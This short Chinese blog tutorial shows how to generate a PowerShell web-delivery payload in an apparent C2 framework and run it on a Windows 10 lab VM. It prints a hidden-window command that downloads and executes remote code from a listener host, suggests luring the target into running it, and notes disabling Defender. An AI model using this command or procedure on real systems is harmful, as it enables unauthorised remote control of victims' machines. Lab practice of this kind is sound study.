本文最后更新于 420 天前，其中的信息可能已经有所发展或是发生改变。
生成恶意脚本
或者快捷图标中也可以直接进入
选择 Listener
选择刚才创建的 Listener，Type 根据实际情况选择（以 powershell 为例），点击 Launch 生成
复制 powershell 脚本
点击 Launch 后会弹出一段 powershell 脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.225.128:80/a'))"如果窗口不小心关了，也可以在这里重新复制
诱导目标机执行
以 Windows 10 虚拟机为例
Win + R 打开命令窗口，粘贴 powershell 命令，并执行
没有免杀，需要手动关闭 Defender
主机上线
